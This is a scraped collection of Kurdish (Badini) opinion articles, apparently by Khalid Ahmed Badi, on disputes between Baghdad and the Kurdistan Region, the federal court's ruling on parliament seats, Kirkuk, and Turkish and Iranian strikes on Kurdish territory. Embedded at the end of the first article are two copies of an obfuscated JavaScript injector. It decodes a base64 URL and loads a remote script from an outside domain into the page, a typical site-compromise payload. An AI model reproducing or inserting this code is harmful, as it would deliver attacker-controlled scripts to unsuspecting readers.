دكر و دوژمنكارى ب سه‌رى دئینان، هه‌مى جۆرێن خرابكارى و توندیێ ل به‌رامبه‌ر ملله‌تێ كورد هاتینه‌كرن, لێ فه‌ره‌ كورد به‌رێ خوه‌ بده‌نه‌ بۆریێ خوه‌ و ل پاش خوه‌ بزڤرن ئه‌و ده‌لیڤه‌یێن هه‌ین ژ ده‌ستداینه‌ ژبه‌ر باشى و دلساخى و جوامێریا وان، هه‌روه‌سا یا حوكمه‌تا هه‌رێما كوردستانێ.
گه‌ر ل دیرۆكێ بزڤرین پێداچوونه‌كێ ل ناڤه‌رۆكا فه‌رهه‌نگا دیرۆكا گشتى بكه‌ین؛ دێ زنجیره‌یه‌كا بێ رێزى و بێ به‌هركرن و بێ هه‌مى تشته‌كى رژێمێن ئیراقێ ب سه‌رێ كوردان ئیناینه‌، به‌رنامه‌كێ رێكوپێك پشتراستكرى ب پیلان و پلانێن حوكمرانێن ده‌ستهه‌لات ل ئیراقێ كرى هه‌مى بووینه‌ باده‌ك و پرس و پرسگرێكێن هه‌ستیار یێن كو ل دژى ملله‌تێ كورد و حوكمه‌تا هه‌رێما كوردستانێ هاتینه‌ ئه‌نجامدان, زۆر كاره‌سات و ده‌رده‌سه‌رى كارێن كه‌شه‌فرێت كو دوژمن ب سه‌رێ دوژمنێن خوه‌ نائینن حوكمه‌تێن ئیراقێ ب سه‌رێ كوردان ئیناینه‌ و ل كه‌ڤن و دێرین زه‌مان دا، ب رێكێن شه‌ڕ و هیرش پیلان و پلان داناینه‌ و كیمیابارانكرن و جینۆساید و ئاواره‌یى و مشه‌ختبوون، زیندان و لێدان و ئه‌شكه‌نجه‌ و ده‌ركرن و بێ به‌هركرن ژ هه‌ر مافه‌كێ ره‌وا یێ ملله‌تێ كورد, هه‌مى رێك و شێوازێن خراب و نه‌باش هاتنه‌كرن، كورد بۆ چه‌ندین سالان پاشڤه‌برن، هه‌رده‌م نه‌هێلایه‌ بگه‌هنه‌ ئارمانجێن خوه‌. پشتى سه‌رهلدانا پیرۆزا((1991)) ب ده‌ستێن پێشمه‌رگێ قه‌هره‌مان ب سایا سه‌رێ خوینا شه‌هیدێن كورد و كوردستانێ ئه‌ڤ رۆژه‌ هاته‌ پێش بۆ ملله‌تێ كورد و مه‌ هزر كر ئه‌وێن دێ ده‌ستهه‌لاتێ ل ئیراقێ وه‌رگرن، دێ ب گرنژین و كه‌یفخۆشى ڤه‌ هه‌مى مافێن ره‌وایێن ملله‌تێ كورد به‌رهه‌ڤ و حازركه‌ن و دێ ب دلشادى ڤه‌ بێژن وه‌رن مافێن خوه‌ وه‌رگرن لێ به‌روڤاژى یا حوكمه‌تا ئیراقا باب چ كێمتر نابیت و نه‌بوو، لێ ئه‌وان ژى ب ده‌ه پله‌یان ئانكو ده‌ستهه‌لاتدارێن ئیراقێ هه‌ر ئه‌و بڕگه‌ و خاله‌ ئه‌نجامدان یێن كو برایێن وان دكرن. حوكمه‌تا ئیراقا نوكه‌ ب شێوازه‌كێ دى یێن شه‌ڕى دگه‌ل كوردان دكه‌ن كو پرسێن بودجه‌، گاز، غاز، بڕینا مووچێن وه‌ایێن سڤیل و بێگونه‌ه، پرسێن جیۆگرافى، مه‌زهه‌بى، پرسێن تایبه‌ت، گشتى، ئاواره‌كرن، شۆره‌ش هتد.. ب ڤان بهانه‌یان هێرشى كوردان دكه‌ن. له‌وما سه‌رۆك بارزانى باده‌كه‌كا چه‌ند خالى دگه‌ل خوه‌ بریه‌ به‌غدایێ و ئێك ژ وان كاره‌ساتان ل ناڤا و دۆرماندۆر و هۆل و كۆلانكێن دادگه‌ها فیدرالى رویداین ل ریككه‌فتى (22-2-2024) رویداین سیناریۆیه‌كا پێشده‌م بوو، ئه‌كته‌ر، ده‌رهێنه‌ر، مۆنیتێر، كامیره‌ڤان، ستاف هه‌مى یێ ئاماده‌ و ئاگه‌هداربوون كو زۆر خالین جوداجودا بخوه‌ڤه‌ دگرتن، لێ خالا دى یا كۆتاییان كو ژ (111) رێژه‌كریه‌ (100) و پاشى بریاره‌كا دى ژى دان كو په‌رله‌مانارا بریارێن دى هه‌مى ب تنێ مایتێكرنێن راسته‌وخوه‌ و ئێكسه‌رن د حوكمه‌تا هه‌رێمێ دا و ژ ێستاندنا ده‌ستهه‌لات و شیان و بریارایه‌ و ل به‌ره‌ سیسته‌مى بگوهۆرن یاكو به‌رى چه‌ندین سالان، هه‌ر هنده‌ك كوردان ب خوه‌ ب خوه‌ ئیمزا بۆ كرى كو سیسته‌مێ (فیدرالی یا پارێزگه‌هان), نوكه‌ هه‌مى ئاماژه‌ یێن بۆ وى ئاراسته‌یى دچن كو قه‌وارێ هه‌رێما كوردستانێ نه‌هێلن. له‌وما مه‌ لسه‌رى ئاماژه‌ ب ڤێ چه‌ندێ داینه‌ كو عه‌ره‌بكرنه‌كا مودێرن، هێرشێن توند و هۆڤ یێن دهێنه‌ سه‌ر ملله‌تێ كورد و حوكمه‌تا هه‌رێما كوردستانێ, ل شوینا په‌رمیچكێن ره‌شتارى و باراێن ب لێهمشت دێ به‌فرا سپى باریت و دێ بارانێن ئارام و ب به‌ره‌كه‌ت بارن. ده‌ما هۆزانڤان دبێژیت (ئه‌گه‌ر هوون نه‌بن یه‌ك هوونێ هه‌ڕن یه‌ك ب یه‌ك)، ئانكو ئه‌گه‌ر مه‌ بڤێت ده‌لیڤا خوه‌ بكه‌ینه‌ دۆرهێل و كه‌توار دێ ب ئێك هزر و یه‌ك ده‌ست و یه‌ك بریار بین وێ لسه‌ر دوژمنان سه‌ركه‌ڤین. بۆ ڤێ گه‌ڕێ ژى مینا هه‌مى گهڕان بارزانى باده‌كا خوه‌ هه‌لگرت كو یا پڕه‌ ژ برس و پرسگریكێن ل ناڤبه‌را حوكمه‌تا ئیراقێ و یا هه‌رێما كوردستانێ دا هه‌یین كو ئه‌و ژى باده‌كا نه‌فت و غاز، بودجه‌، مووچه‌، هه‌لبژارتن و په‌رله‌مانێ ئیراقێ، پرسێن پێشمه‌رگه‌ و بودجه‌ی و مووچه‌یێن پێشمه‌رگه‌یى، پرسێن جیۆگرافى و..هتد. بارزانى به‌رێ خوه‌ دا به‌غدایێ و ل گه‌ل لایه‌نێن شیعى و سونى و پتریا كه‌سایه‌تى و رایه‌دارێن كورد و ئیراقێ روینیت ژبۆ چاره‌كرنا وان پرسگرێكێن هه‌یى. خاله‌كا دى كو ب جلوبه‌رگێن كوردى یێن شرین و ده‌رسۆكا سۆرا خوینا شه‌هیدان چوویه‌، ئه‌و ده‌رسۆك و خاك خاله‌ك ههره‌سه‌ره‌كى یه‌ بو بهێزبوونا كوردان به‌رامبه‌ر دوژمن و دۆستان ژى, ب ئۆمێدم دێ سه‌رۆك بارزانى هه‌مى وان پرسان چاره‌كه‌ت، چونكى كلیلا چاره‌سه‌ریا پرسگرێكێن گرێداین هه‌ولێر و به‌غدایى ب رێژه‌كا باش د ده‌ستێ سه‌رۆك بارزانى دایه‌.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

خالد ئه‌حمه‌د بادى
د ڤان قۆناغێن نازك و هه‌ستیار دا ل ته‌ڤایا جیهانێ و ب تایبه‌ت ل ئیراقێ و هه‌رێمێ بابه‌تێ هه‌رێ گه‌رم وگۆر ره‌وشا ئیراقا فیدرال وهه‌رێما كوردستانێ یه‌. لێ ئه‌ڤ پرسه‌ ژ پرسه‌كا هه‌ڤسویى و مرۆڤایه‌تى و وه‌لاتینى و ماف و ئه‌ركیێ كریه‌ پرسه‌كا سیاسى و تۆلڤه‌كرنێن سیاسى و جیۆگرافى و ئابۆرى و..هتد. ئه‌ڤ ره‌وشه‌ كریه‌ پرسه‌كا بازرگانى پێ دهێنه‌كرن ئانكو مانۆره‌یێن سیاسى و گشتى پێ دهێنه‌كرن. ئه‌گه‌ر سه‌حكه‌ینه‌ دیرۆكا ئیراقا گه‌نى؛ بێگومان هه‌رده‌مێ حوكمه‌تێن ئیراقێ لاواز دبوون دانوستاندن ل گه‌ل سه‌ركردایه‌تیێن شۆرشێن كوردان و ملله‌تێ كورد و ب تایبه‌ت سه‌ركردایه‌تیا شۆرشا ئیلۆن و گولانێ دكرن و هه‌رده‌مێ ب هێز دكه‌فتن، بێگومان شه‌ڕ دكر و سۆزێن خوه‌ ب جه نه‌دئینان و ژ دانوستاندنان دره‌ڤین سۆزێن دایین جه بجه نه‌ دكرن, بۆ ڤێ گه‌رێ ژى لسه‌ر پرسا بریارێن دادگه‌ها شیعى و ئیرانێ كو بناڤ دادگه‌ها فیدرالى یا ئیراقا گه‌نى دیسا شیعه‌ و سونه‌ و هه‌مى عه‌ره‌بان سۆزێن خوه‌ ب جه نه‌ئینان و رۆژانه‌ یێ یاریان ب مافێن كوردان دكه‌ن و به‌رده‌وام یێ كوردان دشكێنن و مافێن وان دخۆن وبن پێ دكه‌ن و هه‌ولدانان دكه‌ن كو قه‌وارێ هه‌رێما كوردستانێ نه‌هێلن و كورد و كوردستانێ نه‌هێلنه‌ د هه‌بوونێ دا. بریارێن دادگه‌ها فیدرال یا ـ نه‌ فیدرال ـ یێن به‌رییا هه‌یامه‌كێ كو فه‌رمانا ژ هنده‌ك لایه‌ن وجهان وه‌ردگرن زۆر د به‌رژه‌وه‌ندییا قه‌وارێ هه‌رێم و ملله‌تێ كورد دا نه‌بوون، ب تایبه‌ت خالا مووچه‌یێن فه‌رمانبه‌رێن هه‌رێمێ كو ب سه‌دان جاران لیسته‌ و داتا و ئامارێن فه‌رمانبه‌ران حوكمه‌تا هه‌رێمێ یێن راده‌ستى حوكمه‌تا ئیراقێ كرین لێ هه‌ر گه‌رێ یێ بهانه‌یێن نوى ده‌ردكه‌ن و دیاردكه‌ن ودبێژن و كوردان تاوانبار دكه‌ن و مینا وێ گۆتنێ كو ده‌رزیكێ د چاڤێ كوردان دا دبینن و گێسنى د چاڤێ خوه‌ دا نابینن و ئه‌و گه‌نده‌لیێن ل ئیراقێ هه‌یین ل وه‌لات و ده‌وله‌ت و حوكمه‌تان نینن، لێ ب تنێ به‌رامبه‌ر كوردان ئه‌ڤ كریارێن كه‌شه‌فرێت یێن دهێنه‌ ئه‌نجامدان و خالا دى یا كۆتایان كو ژ (111) رێژه‌ كریه‌ (100) و بریارێن دى هه‌مى ب تنێ مایتێكرنێن راسته‌وخوه‌ و ئێكسه‌رن بۆ حوكمه‌تا هه‌رێمێ و ژ ێستاندنا ده‌ستهه‌لات وشیان و بریارایه‌ و لبه‌ره‌ سیسته‌مى بگوهۆرن و یاكو به‌رى چه‌ندین سالان هه‌ر كوردان ب خوه‌ ئیمزا بۆ كرى كو سیسته‌مێ (فیدرالی یا پارێزگه‌هان)، هه‌مى ئاماژه‌ یێن بۆ وى ئاراسته‌یێ دچوون كو قه‌وارێ هه‌رێما كوردستانێ نه‌هێلن. كوردان رۆله‌كێ ئێك جار مه‌زن گێرایه‌ بۆ خزمه‌تكرنا وان لایه‌نان و پارتان یێن نوكه‌ ل ئیراقێ حوكمرانیێ دكه‌ن، لێ به‌رده‌وام هه‌مى حوكمه‌تێن ئیراقێ مافێن كوردان بنپێ كرینه‌ و زولم ل كوردان ب گشتى كریه‌. خالا ب تنێ كو كورد بشیێن به‌رامبه‌ر ڤان هێرشان راوه‌ستن و خوه‌ بهێز بكه‌نه‌ڤه‌ و ببنه‌ جهێ به‌لانسێ، لێ بۆ ڤى ده‌مى هه‌رێم شییا ئاسته‌نگان تێبپه‌رینیت و وان بریارێن خراب ژ خوه‌ دووربێخیت ، دێ مینیت ب تنێ ئێكگرتن و ل گه‌ل هه‌ڤدو روینشتن و كورد ده‌ستێن خوه‌ بكه‌ن د ناڤ ده‌ستێن هه‌ڤ دا و ببنه‌ خودان ئێك هه‌لوه‌ست و بریار.

خالد ئه‌حمه‌د بادى
مانشێتێ هه‌ر گوتاره‌كێ ده‌ڕبرینێ ژ رامان و ناڤ و بۆیه‌ر پرسگرێكێ دكه‌ت و گوتارا مه‌ و مانشێتێ وێ ده‌ڕبرینێ ژ وێ چه‌ندى دا دكه‌ت كو نه‌ ب تنێ ئیراقێ بلندبینى لسه‌ر كه‌ركووك و هه‌رێمێ هه‌نه‌، به‌لكو وه‌لاتێن هه‌رێمى ژى بلندبینى د ئیراق و هه‌رێم و كه‌ركووكێ دا هه‌یه‌ و بارۆڤه‌یێن ب ترس وسه‌هم یێن به‌رب كه‌ركووك و هه‌رێم و ئیراقێ ڤه‌ دهێین, ئه‌ڤان بابه‌تان ده‌م و جه دڤێن كو مرۆڤ لسه‌ر بنڤێسیت كو چ فه‌رهه‌نگ و ئینسكلۆپیدیا ژى تێرا ناكه‌ن، لێ چه‌ندین بشێین دێ هه‌ر لسه‌ر ڤان پرسان نڤێسین, هه‌ر دكه‌ڤندا و دێرین زه‌مان دا كه‌ركووك یا كوردان بوویه‌ و نه‌تنێ كه‌ركووك، لێ به‌لێ كوردان میرنشین و میرگه‌ه و ئیمپراتۆریه‌ت هه‌بووینه‌ و حوكمرانیه‌ت یا ل زۆر ملله‌ت و وه‌لاتان كرى, لێ نوكه‌ و ل ڤى سه‌رده‌مى پرسیار دهێته‌كرن بۆچى چ بۆ كوردان نه‌ما؟ نزانین ژبه‌ر باشى و دلساخى و جوامێرینى یا كوردایه‌ یان هنده‌ك ئه‌گه‌رێن دى هه‌بن, زۆر داڤ یێن دهێنه‌ ڤه‌دان و زۆر خه‌فك و ته‌پكێن ب ترس یێن دهێنه‌ڤه‌دان ل سه‌ر و ل دۆر هه‌رێما كوردستانێ و وه‌لاتێن هه‌رێمى لسه‌ر كوردان هه‌ڤرا و هه‌ڤ بۆچوونن، لێ به‌لێ هه‌مى وه‌لاتێن هه‌رێمى ل گه‌ل هه‌ڤدو دوژمنن، لێ لسه‌ر كوردان هه‌مى ئێك هزر و بیر باوه‌رن, نوكه‌ مینا شلخا مێشا هنگڤینى وه‌لاتێن هه‌رێمى و زلهێز و به‌رژه‌وه‌ندخواز یێن تێكدچن و تێك دهیێن و پێكڤه‌ یێن كاردكه‌ن ژبۆ بده‌ستڤه‌ئینانا كه‌ركووكێ و نه‌هێلانا قه‌وارێ هه‌رێمێ و یێن كوردان. ل ئیراقێ كونترۆل كه‌فتیه‌ د ده‌ستێ شیعه‌یان دا و لسه‌ر پرسێن سیاسى و كه‌ركووكێ وه‌كى خوى كونترۆلێ خوى بكاردئینن و ئیرانێ دڤێت پێگه‌هێ خوه‌ بهێز بكه‌ت ل ده‌ڤه‌را رۆژهه‌لاتا ناڤین، هه‌روه‌سا ل سووریا و ئیراقێ, سه‌رۆكێ توركیا ئه‌ردوغان هنده‌ك سه‌ره‌دانان دكه‌ت و به‌رى ماوه‌كێ كێم ئه‌ردوغانى سه‌ره‌دانا ئیراقێ و هه‌رێم و سووریێ و رۆسیا ژى كر, هه‌روه‌سا ئه‌ردوغانى وه‌زیرێ خوه‌ ده‌رڤه‌ هاكان فیدان فرێكره‌ ته‌هران ل ئیرانێ, بزاڤه‌كا نه‌ئارام و نه‌راسته‌وخوه‌ یا دهێته‌كرن و ترس دیاریه‌كا دى دا كو ل دژى كوردان بهێته‌كرن و مه‌سه‌له‌ نه‌ پارتى و یه‌نه‌ك و لایه‌نێن دینه‌، به‌لكو پرسێن مه‌زنتر هاتینه‌كرن و یێن دهێنه‌كرن. به‌رهنگارى و هایی ژخوه‌بوونا كوردان ب زۆر رێیانه‌، لێ رێیا ژ هه‌میان باشتر و جوانتر ئه‌وه‌ كو كورد ب لایه‌ن و ب رێكخراو و داموده‌زگه‌ه و هه‌می تاكان ڤه‌ كو ئێك بگرن و ئێكگرتن كلیلا هه‌مى ده‌رگه‌هایه‌.

خالد ئه‌حمه‌د بادى
بشكا (1)
كه‌ربوكین و به‌رژه‌وه‌ندیێن تایبه‌ت یێن به‌رامبه‌ر و پێ ل دانانا یاسا و رێنمایێن ناڤده‌وله‌تى و هه‌رێمایه‌تى و ژبیركرنا تیتالێن هه‌ڤسویاتیێ و ژ پشتگوه هاڤێتنا ئایه‌ت و قه‌ول و ئیساح و گوتنێن په‌رتوكێن پیرۆز و نه‌رێزگرتن و نه‌وژدان و خوه‌سه‌پاندنا لسه‌ر یێ دى و بكارئینانا هێزێ به‌رامبه‌ر هه‌لگرێن په‌یاما ئاشتى و پێكڤه‌ژیانێ و نه‌ ماف و مه‌رج و هتد.. ئه‌ڤه‌ هه‌مى و ب سه‌دان گۆتنێن دى دشیێن بێژین ل دۆر بابه‌تێ گرێدایى په‌یوه‌ندیێن توركیا و ئیران و ده‌وله‌تێن هه‌رێمى دگه‌ل هه‌رێما كوردستانێ كو نه‌حه‌قى و نه‌سنجى و بێ ره‌وشتى لده‌ڤ وه‌لاتێن هه‌رێمى گه‌هشتیه‌ وى راده‌یى كو بهانه‌یێن بێ بنه‌ما و بهانه‌یێن بێ بهانه‌ و گۆتنێن بێ هه‌لوه‌ست رۆژانه‌ به‌رامبه‌ر هه‌رێما كوردستانێ دهێنه‌ ئه‌نجامدان و كرن, ژ لایێ ده‌وله‌تێن هه‌رێمى ڤه‌ به‌رامبه‌ر هه‌رێمێ، كو لدویڤ حه‌ز و زه‌وق و ڤیانا خوه‌ رۆژانه‌ هێرش به‌رامبه‌ر وه‌لاتیێن هه‌رێما كوردستانێ دهیێنه‌كرن ب درێژاهییا سنوورێ هه‌رێما كوردستانێ و ب هه‌ر رێكه‌كا بیت هێزێ بكاردئینن بۆ یێ به‌رامبه‌ر. ئه‌ڤ كریاره‌ بوویه‌ مینا دیارده‌كا كه‌شه‌فرێت ل ده‌ڤ وه‌لاتێن هه‌رێمى بو سه‌ر هه‌رێمێ و ژ هه‌مى عورف و تیتالان ده‌ركه‌فتیه‌ و ب هزاران زیان و زه‌ره‌ر گه‌هاندینه‌ هه‌رێمێ ژ ئالیێ سیاسى، دارایى، ئابۆرى، ئه‌وله‌كارى و ئاڤه‌دان و زانستى و جیۆپۆلوتیكى و جیۆگرافى هتد..كو ب هزاران گوندێن كوردستانێ هاتینه‌ چۆلكرن و به‌رده‌وام پرۆسه‌یێن ئاواره‌یێ درروست بووینه‌ و ب ملیۆنان دۆلاران زیانێن ماددى ب خه‌لكێ هه‌رێما كوردستانێ كه‌فتینه‌, ئه‌ڤ خالێن ل خوارێ دیار چه‌ند نموونه‌كێن كێمن كو هێرشێن رۆژانه‌ دكه‌نه‌ سه‌ر هه‌رێمێ، به‌لكو بێژین سه‌ر ته‌ڤایا كوردان. ل رێككه‌فتى (13\11\2022 ) وه‌كى هه‌ر جار ده‌وله‌تا توركیا ب بهانه‌كا نوى كو له‌شكرێ توركیا ئۆپه‌راسیۆنه‌كا دى بناڤى (په‌نج) و (شێر) كریه‌ سه‌ر كوردستانا رۆژئاڤا و بتایبه‌ت ده‌ڤه‌رێن كۆبانى و حه‌له‌بێ و ده‌ڤه‌رێن دۆرماندۆر و زۆر زیانێن گیانى هه‌بوون، هه‌روه‌سا زیانێن ماددى یێن زۆر هه‌بوون, هه‌روه‌سا هه‌ر د وێ رۆژێ دا توركیا هێرش كریه‌ سه‌ر خاكا هه‌رێما كوردستانێ و بتایبه‌ت ل لایێ ده‌ڤه‌را سیده‌كان و ب درێژاهییا سنوورى و هه‌روه‌سا د ناڤ كویراتیا سنوورێ هه‌رێما كوردستانێ دا, د ڤان ئۆپه‌راسیۆن و هێرشێن له‌شكرى و ئاسمانى یێن هێزێن توركیا بكارئینانا (70) حه‌فتێ فرۆكه‌یێن شه‌ڕكه‌ر توركیا د ڤێ ئۆپه‌راسیۆنێ دا بكارئیناینه‌ و ژوان فرۆكه‌یان (50) پێنجى فرۆكه‌یێن ئیف 16 و (20) بیست فرۆكه‌یێن بێ فرۆكه‌ڤان ئانكو درۆن. ئه‌ڤه‌ هه‌مى بهانه‌ و هیجه‌تن كو توركیا دده‌ته‌ به‌ر رویێ خوه‌ و دبێژیت كو به‌رى چه‌ند ده‌مه‌كى ته‌قینه‌ك ل ته‌قسیما باژارێ ئیسته‌نبۆلێ چێ ببوو و توركیا دبێژیت كو ئه‌ڤ ته‌قینه‌ ژلایێ په‌كه‌كێ ڤه‌ هاتیه‌ ئه‌نجامدان.
بشكا (2)
ئه‌رێ گه‌لۆ ما چ په‌یوه‌ندییا كوردستانێ پێڤه‌ یه‌ ما توركیا تو بۆچى ناچییه‌ جهێ رویدان لێ په‌یدابوویى ما هێجه‌ت و بهانه‌ ب شاخن, هه‌ر دیسا به‌رى ماوه‌یه‌كى ئیرانێ ژى ب درۆن و مۆشه‌ك و تۆپ و فرۆكه‌یان هێرش كریه‌ سه‌ر خاكا هه‌رێما كوردستانێ و ئه‌و ژى ب بهانا هه‌بوونا باره‌گایێن پارتێن كوردێن كوردستانا رۆژهه‌لات. ل ڤێره‌ بۆ هه‌ر لایه‌نه‌كى رۆهن و ئاشكه‌را بوویه‌ كو حوكمه‌تا ئیراقێ په‌یوه‌ندى ب بێ ده‌نگى و چاڤخشاندنا هێرشێن هه‌ردو ده‌وله‌تێن توركیا و ئیرانێ و پیلانێن سووریێ ڤه‌ هه‌یه‌ و تانوكه‌ چ هه‌لوه‌ستێن ژدل ئیراقێ وه‌رنه‌گرتینه‌ به‌رامبه‌ر ده‌وله‌تا توركیا و ئیران و سووریێ به‌روڤاژى كو ده‌وله‌تا ئیراقێ پێرابوونێن قانوونى وه‌رگریت دژى وان وه‌لاتێن كو زۆرداریێ دكه‌ن و سنوورێن هه‌رێما كوردستانێ دبه‌زینن به‌رامبه‌ر ڤێ چه‌ندێ حوكمه‌تا ئیراقێ پتر په‌یوه‌ندیێن خوه‌ یێن سیاسى و بازرگانى و دبلۆماسى ل گه‌ل توركیا و ئیرانێ و سووریێ موكومتر لێ دكه‌ت و بهێز دئێخیت، ژبلى كو رۆژانه‌، به‌لكو به‌رده‌وام هێرشێن تۆپ و فرۆكه‌ و مۆشه‌ك و ئۆپه‌راسیۆنێن ده‌وله‌تێن هه‌رێمى بۆ سه‌ر هه‌رێمێ و ب تایبه‌ت ل ده‌ڤه‌رێن سنوورى یێن قه‌زا ئامێدیێ و سه‌رپه‌رشتیا ئیداره‌یا زاخۆ. په‌یاما من بۆ ملله‌تێ كورد و رایه‌دار و ره‌وشه‌نبیر و سیاسه‌تمه‌دار و زانا و چالاكڤان و دیرۆك نفێس پارت و لایه‌نێن كوردى و حوكمه‌تا هه‌رێما كوردستانێ كو سیناریۆیا ئاشكه‌رایه‌ و بلا خوه‌ نه‌خاپینین كو ئه‌ڤا ب سه‌رێ ملله‌تێ كورد دهێت، ئه‌م ب خوه‌ ئه‌گه‌رین، چونكو ئه‌گه‌ر ئه‌م دئێكگرتى بین و به‌رژه‌وه‌ندێن خوه‌ بپارێزین ئانكو به‌رژه‌وه‌ندیێن بلندێن ملله‌تێ كورد بپارێزین و جوداهیێ ل ناڤبه‌را باكور و باشور و رۆژهه‌لات و رۆژئاڤا نه‌هێته‌ كرن و حه‌ژ هه‌ڤدو بكه‌ین، بێگومان دوژمنێن مه‌ ژى یێن هه‌رێمى و یێن بیانى نه‌ دشیان ڤێ مامه‌لێ به‌رامبه‌رى مه‌ بكه‌ن و وانان خالا لاوازا مه‌ یا زانى كو ئه‌م نه‌ دهه‌ڤگرتینه‌، له‌وما هێرش و پیلان لسه‌ر مه‌ دزۆرن كو رۆژانه‌ بومبه‌باران و هێرش و ته‌پبارانكرن و هێرشێن له‌شكرى كو لڤێ دوماهیێ هێرش پتر ژێده‌ بووینه‌ و ئه‌ڤێن خودانێن ئه‌ردى ل هه‌مى پارچان گۆره‌پانێن سیاسى و یێن شه‌ڕى ڤالا هێلاینه‌ و ب حه‌ز و ڤیانا خوه‌ دوژمن یێن سیاسه‌تا خوه‌ ددارێژن و یێن پرۆژێن ئابۆرى و سیاسى و نه‌ته‌وه‌یى دروست دكه‌ن (تتریك، تعریب و تفریس)، دوژمنان كوردستان ئانكو هه‌رێما كوردستانێ كریه‌ ئارمانج و ئه‌و چریسكا ب قوربانیدانا ملله‌تێ كورد و رویبارین خوینا پاكا لاوین كورد و هزاران شه‌هید و فیداكاریان نوكه‌ دوژمنان نه‌ڤێت ئه‌ڤ چریسكه‌ ژى یا هه‌ل بیت و یێ خوینا كوردان ب ده‌ستێن كوردان دده‌نه‌ رێشتن. ل ڤێره‌ هه‌رده‌م هزره‌ك دمێشكێ مه‌دا دلڤلڤیت و پرسیار دكه‌ت كو لسه‌رده‌مێن به‌رێ دا ئه‌گه‌ر ل ئیراقێ ملله‌تێ كورد دوژمنه‌ك و نه‌یاره‌ك و نه‌حه‌زه‌ك هه‌بایه‌ لێ نوكه‌ ب ده‌هان دوژمن و نه‌حه‌ز و نه‌یار ل تركیا و سوریا و ئیران و ئیراقێ په‌یدا بوینه‌ دژى ملله‌تێ كورد. ل ڤێره‌ هزر و پرسیار دلڤلڤن و بلا درویشمێن بریقه‌دار نه‌ بێژم ئه‌رێ ئه‌و هێزێن گۆره‌پانا خوه‌ یاسیاسى و له‌شكرى و ئابۆرى بۆ دوژمنان ڤالا بكه‌ن و دهێن داگیركرن و مایتێكرنێ دكه‌ن ل هه‌رێما كوردستانێ كو هه‌رێما مه‌ چ رامان دده‌ت و بلا پرسیار بۆ هه‌وه‌ بیت. له‌وما مه‌ ناڤێ گوتارا خوكره‌ هێرشێن هه‌رێمى لسه‌ر هه‌رێمێ و دێ پریارێ بۆ خوینده‌ڤانێن هێژا هێلین.